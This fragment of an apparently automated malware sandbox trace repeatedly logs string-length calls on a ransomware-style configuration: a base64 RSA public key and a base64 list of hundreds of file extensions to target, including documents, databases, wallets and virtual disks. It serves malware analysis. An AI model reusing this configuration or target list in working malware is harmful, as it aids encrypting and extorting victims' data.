YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1p